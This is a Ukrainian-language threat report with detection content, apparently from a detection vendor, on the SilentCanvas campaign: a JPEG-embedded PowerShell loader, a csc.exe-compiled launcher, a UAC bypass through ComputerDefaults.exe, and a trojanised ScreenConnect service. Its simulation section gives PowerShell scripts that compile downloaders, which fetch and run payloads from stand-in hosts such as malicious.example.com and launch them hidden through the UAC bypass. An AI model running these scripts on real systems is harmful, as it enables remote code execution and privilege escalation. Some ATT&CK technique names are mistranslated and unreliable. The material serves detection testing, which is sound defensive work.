ОПЕРАЦІЯ SILENTCANVAS: ВТОРГНЕННЯ ЧЕРЕЗ БАГАТОСТУПЕНЕВИЙ POWERSHELL НА ОСНОВІ JPEG
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Операція SilentCanvas – це складне багатоступеневе проникнення, яке приховує шкідливе навантаження PowerShell всередині файлу JPEG з назвою sysupdate.jpeg. Це навантаження отримує і компілює власний лаунчер, що створюється через csc.exe, використовує ComputerDefaults.exe для безфайлового обходу UAC і встановлює троянізовану службу ConnectWise ScreenConnect під назвою OneDriveServers для підтримання постійного віддаленого доступу. Зловмисне програмне забезпечення спілкується через зашифровані канали, спрямовані на legitserver.theworkpc.com через порти 5443 and 8041. Кампанія також демонструє сильний акцент на обході захисту, зборі облікових даних та прихованому контролі.
Розслідування
Звіт охоплює як статичний, так і динамічний аналіз загрузчика на основі JPEG, динамічно зкомпільованого uds.exe бінарія та модифікованих компонентів ScreenConnect. Дослідники визначили кілька наступальних технік, включаючи обхід AMSI, зловживання бінарними кодами, викрадення реєстру і власну похідну ключа для зашифрованого зв’язку. Аналіз інфраструктури показав запрограмоване відображення між legitserver.theworkpc.com та IP-адресою 45.138.16.64. Розслідування також виявило детальну профілізацію жертв, маніпуляції з локальними обліковими записами та функціональність, пов’язану з прихованим доступом до робочого столу.
Пом’якшення
Захисники повинні застосовувати жорсткий контроль того, хто може використовувати легітимні інструменти для віддаленого моніторингу та управління, і обмежити або ретельно контролювати виконання csc.exe, cvtres.exe, і ComputerDefaults.exe. Моніторинг також повинен зосередитися на підозрілих змінах реєстру ms-settings, поведінці обходу AMSI PowerShell, прихованих прапорах створення процесів та несанкціонованому створенні служб, що стосуються імені registry changes, PowerShell AMSI bypass behavior, hidden process creation flags, and unauthorized service creation involving the name OneDriveServers. Будь-які облікові записи, які могли бути розкриті, необхідно скинути, а постраждалі системи слід швидко ізолювати, щоб запобігти подальшим зловживанням.
Відповідь
Якщо виявлено пов’язані індикатори, кінцеву точку слід негайно ізолювати, шкідливий uds.exe процес та пов’язані з нею активності PowerShell мають бути завершені, а OneDriveServers службу слід видалити з хоста. Дослідники повинні зібрати артефакти реєстру, бінарні файли служби та мережеві телеметрії, пов’язані з командною інфраструктурою, для глибшого судово-медичного аналізу. Усі привілейовані облікові дані повинні бути змінені, і захисники повинні контролювати шаблони бічного переміщення, пов’язані з техніками, задокументованими в кампанії.
"графік TB %% Визначення класів classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff %% Вузли – Дії action_initial_access["<b>Дія</b> – <b>T1566 Фішингове Вкладення</b>: Електронна пошта доставляє шкідливий файл <i>sysupdate.jpeg</i>, що маскується під зображення."] class action_initial_access action action_user_execution["<b>Дія</b> – <b>T1204.002 Виконання Користувача</b> і <b>T1059.001 PowerShell</b>: Жертва двічі клацає на .jpeg, яка запускає вбудований PowerShell."] class action_user_execution action action_execution["<b>Дія</b> – <b>T1562.001 Відключення Засобів Безпеки</b> (AMSI обход) і <b>T1027 Обфускація</б>: Скрипт PowerShell уникає виявлення та приховує шкідливу логіку."] class action_execution action action_dev_utility_abuse["<b>Дія</b> – <b>T1127 Постійна Оферта після Доставки</b> і <b>T1027.004 Обфусовані/Збережені Файли</b>: Вбудовує вихідний код C# у скрипт і компілюється з <i>csc.exe</i> для створення власного лаунчера."] class action_dev_utility_abuse action action_priv_esc["<b>Дія</b> – <b>T1548.002 Викрадення Потоку Виконання</b> через протокол <i>ms-settings</i> і <b>T1218.002 Зкомпільований HTML Файл</b> з використанням <i>ComputerDefaults.exe</i> для безфайлового обходу UAC."] class action_priv_esc action action_persistence["<b>Дія</b> – <b>T1543.003 Служба Windows</b> з назвою <i>OneDriveServers</i> і <b>T1136.001 Локальний Обліковий Запис</b> створення прихованих облікових записів адміністратора для довгострокового доступу."] class action_persistence action action_tool_hijack["<b>Дія</b> – <b>T1553.002 Підписане Виконання Проксі Бінарним Кодом</b>: Встановлює троянізовану ConnectWise ScreenConnect, використовуючи легітимні підписані елементи."] class action_tool_hijack action action_credential_access["<b>Дія</b> – <b>T1556.001 API Хукінг Облікових Даних</b> і <b>T1056.001 Захоплення Вводу Даних</b>: Встановлює хук Постачальника Облікових Даних та кейлогер щоб збирати облікові дані користувачів."] class action_credential_access action action_collection["<b>Дія</b> – <b>T1113 Захоплення Екрану</b>, <b>T1125 Захоплення Відео</b>, <b>T1123 Аудіо Захоплення</b>, <b>T1115 Дані Буфера Обміну</b>: Збирає візуальну, аудіо- та інформацію буфера обміну."] class action_collection action action_discovery["<b>Дія</b> – <b>T1518 Програмне Відкриття</b>, <b>T1010 Відкриття Вікон Застосунку</b>, <b>T1082 Відкриття Інформації про Систему</b>: Перераховує встановлене програмне забезпечення, продукцію AV, інформацію про систему та активні вікна."] class action_discovery action action_c2["<b>Дія</b> – <b>T1573 Зашифрований Канал</b>: Налаштовує зашифрований C2 з використанням ключів PBKDF2/HMACu2011SHA256 та передає додаткові інструменти через <b>T1105 Передача Інструментів Увійти</b>."] class action_c2 action action_remote_execution["<b>Дія</b> – <b>T1021 Віддалені Служби</b>: Виконує команди на жертві через структуру ScreenConnect."] class action_remote_execution action action_impact["<b>Дія</b> – <b>T1529 Вимкнення Системи / Перезапуск</b>: Може викликати перезапуск системи або перезапуск в безпечному режимі для порушення середовища."] class action_impact action %% Вузли – Засоби / Процеси tool_sysupdate_jpeg["<b>Засіб</b> – <b>Назва</b>: sysupdate.jpeg<br/><b>Тип</b>: Шкідливе вкладення, яке маскується під зображення"] class tool_sysupdate_jpeg tool tool_powershell["<b>Засіб</b> – <b>Назва</b>: PowerShell<br/><b>Тип</b>: Сценарійний двигун, використовуваний для виконання та обфускації"] class tool_powershell tool tool_csc["<b>Засіб</b> – <b>Назва</b>: csc.exe<br/><b>Тип</b>: Компілятор C#, використовуваний на хості"] class tool_csc tool process_computerdefaults["<b>Процес</b> – <b>Назва</b>: ComputerDefaults.exe<br/><b>Опис</b>: Використовується як проксі для безфайлового обходу UAC"] class process_computerdefaults process tool_screenconnect["<b>Засіб</b> – <b>Назва</b>: ConnectWise ScreenConnect<br/><b>Тип</b>: Програмне забезпечення для віддаленого доступу з викраденням шкідливого навантаження"] class tool_screenconnect tool malware_keylogger["<b>Зловмисне Програмне Забезпечення</b> – <b>Назва</b>: Власний Кейлогер<br/><b>Призначення</b>: Захоплення клавіш та облікових даних"] class malware_keylogger malware %% З’єднання – Потік Атак action_initial_access –>|доставляє| tool_sysupdate_jpeg tool_sysupdate_jpeg –>|запускає| action_user_execution action_user_execution –>|виконує| tool_powershell tool_powershell –>|здійснює| action_execution action_execution –>|використовує| tool_csc tool_csc –>|створює| action_dev_utility_abuse action_dev_utility_abuse –>|генерує лаунчер для| action_priv_esc action_priv_esc –>|ініціює| process_computerdefaults process_computerdefaults –>|включає| action_persistence action_persistence –>|створює| action_tool_hijack action_tool_hijack –>|встановлює| tool_screenconnect tool_screenconnect –>|сприяє| action_credential_access action_credential_access –>|встановлює| malware_keylogger malware_keylogger –>|включає| action_collection action_collection –>|постачає дані в| action_c2 action_c2 –>|підтримує| action_remote_execution action_remote_execution –>|використовує| tool_screenconnect action_remote_execution –>|призводить до| action_impact action_discovery –>|надає інформацію для| action_c2 %% Оформлення class tool_sysupdate_jpeg tool class tool_powershell tool class tool_csc tool class tool_screenconnect tool class process_computerdefaults process class malware_keylogger malware "
Потік Атак
Виявлення
Можливий обхід UAC через інтерфейс CMSTPLUA COM [метод SafaPay] (через командний рядок)
Перегляд
Можливе Перерахування Програмного Забезпечення для Антивірусів або Брандмауерів (через створення процесу)
Перегляд
Альтернативне Програмне Забезпечення для Віддаленого Доступу / Управління (через створення процесу)
Перегляд
Архів Був Розпакований у Підозрілу Директорію Використовуючи Powershell (через powershell)
Перегляд
IOC (HashSha256) для виявлення: ОПЕРАЦІЯ SILENTCANVAS : ВТОРГНЕННЯ НА ОСНОВІ JPEG ІЗ БАГАТОСТУПЕНЬОВИМ POWERSHELL
Перегляд
IOC (Исходного IP) для виявлення: ОПЕРАЦІЯ SILENTCANVAS : ВТОРГНЕННЯ НА ОСНОВІ JPEG ІЗ БАГАТОСТУПЕНЬОВИМ POWERSHELL
Перегляд
IOC (IP призначення) для виявлення: ОПЕРАЦІЯ SILENTCANVAS : ВТОРГНЕННЯ НА ОСНОВІ JPEG ІЗ БАГАТОСТУПЕНЬОВИМ POWERSHELL
Перегляд
Зашифроване Спілкування з Інфраструктурою Зловмисника через Не Стандартні Порти [З’єднання Мережі Windows]
Перегляд
Виявлення Вторгнення через Зловживання csc.exe і ComputerDefaults.exe [Створення Процесу Windows]
Перегляд
Виконання PowerShell з Обходом AMSI [PowerShell Windows]
Перегляд
Виконання Симуляції
Передумова: Перевірка Початкового Телеметрії та Базового Стану повинна бути успішною.
Обґрунтування: Цей розділ деталізує точне виконання техніки супротивника (TTP), призначеної для спрацьовування правила виявлення. Команди та наратив ПОВИННІ безпосередньо відображати ідентифіковані TTP та прагнути генерувати саме ту телеметрію, яка очікується відповідно до логіки виявлення. Абстрактні або несумісні приклади можуть призвести до помилкових діагнозів.
-
Сценарій Атаки та Команди:
- Спочаткове проникнення: Супротивник отримує сесію PowerShell із низькими привілеями на кінцевому пристрої.
- Живе компілювання: Використовуючи вже наявну
csc.exe, супротивник компілює C# завантажувач, який завантажує навантаження другого етапу з сервера C2. Компіляція запускається з процесу PowerShell, щоб задовольнити умову батьківського дочірнього. - Безфайловий обхід UAC: Супротивник запускає новостворений виконуваний файл через
ComputerDefaults.exe, який тихо запитує підвищення привілеїв без відображення сповіщення UAC. - Виконання після підвищення: Підвищене навантаження встановлює зворотну оболонку назад до супротивника.
# Крок 1 – Підготовка шкідливого джерела C# (в пам'яті) $csSource = @" using System; using System.Net; using System.Diagnostics; public class Downloader { public static void Main() { using (WebClient wc = new WebClient()) { string payloadUrl = "http://malicious.example.com/payload.exe"; string tempPath = System.IO.Path.Combine($env:TEMP, "payload.exe"); wc.DownloadFile(payloadUrl, tempPath); Process.Start(tempPath); } } } "@ $srcPath = "$env:TEMPDownloader.cs" $exePath = "$env:TEMPDownloader.exe" $csSource | Out-File -FilePath $srcPath -Encoding ASCII # Крок 2 – Компіляція через csc.exe (батько = PowerShell) & "$env:WINDIRMicrosoft.NETFramework64v4.0.30319csc.exe" /nologo /t:exe /out:$exePath $srcPath # Крок 3 – Виклик обходу UAC з використанням ComputerDefaults.exe (все ще дочірній процес PowerShell) $computerDefaults = "$env:SystemRootSystem32ComputerDefaults.exe" Start-Process -FilePath $computerDefaults -ArgumentList "`"$exePath`"" -WindowStyle Hidden -
Скрипт Регресійного Тесту: (самодостатній скрипт PowerShell, що відтворює наведені вище етапи)
# ----------------------------------------------------------------- # Файл: trigger_csc_uac_bypass.ps1 # Призначення: Імітація ланцюга атак csc.exe + ComputerDefaults.exe # ----------------------------------------------------------------- # Створіть шкідливе джерело C# в тимчасовій директорії $src = @" using System; using System.Net; using System.Diagnostics; public class Payload { public static void Main() { using (WebClient wc = new WebClient()) { string url = "http://example.com/evil.exe"; string path = System.IO.Path.Combine($env:TEMP, "evil.exe"); wc.DownloadFile(url, path); Process.Start(path); } } } "@ $srcPath = Join-Path $env:TEMP "Payload.cs" $exePath = Join-Path $env:TEMP "Payload.exe" $src | Out-File -FilePath $srcPath -Encoding ASCII # Компіляція з csc.exe (цей процес PowerShell стає батьком) $csc = "$env:WINDIRMicrosoft.NETFramework64v4.0.30319csc.exe" & $csc /nologo /t:exe /out:$exePath $srcPath # Виконання через ComputerDefaults.exe для виконання тихого обходу UAC $computerDefaults = "$env:SystemRootSystem32ComputerDefaults.exe" Start-Process -FilePath $computerDefaults -ArgumentList "`"$exePath`"" -WindowStyle Hidden -
Команди Очищення:
# Видалити згенеровані артефакти Remove-Item -Path "$env:TEMPPayload.cs" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPPayload.exe" -Force -ErrorAction SilentlyContinue # Додатково зупинити будь-які залишкові процеси, запущені тестом Get-Process -Name "evil" -ErrorAction SilentlyContinue | Stop-Process -Force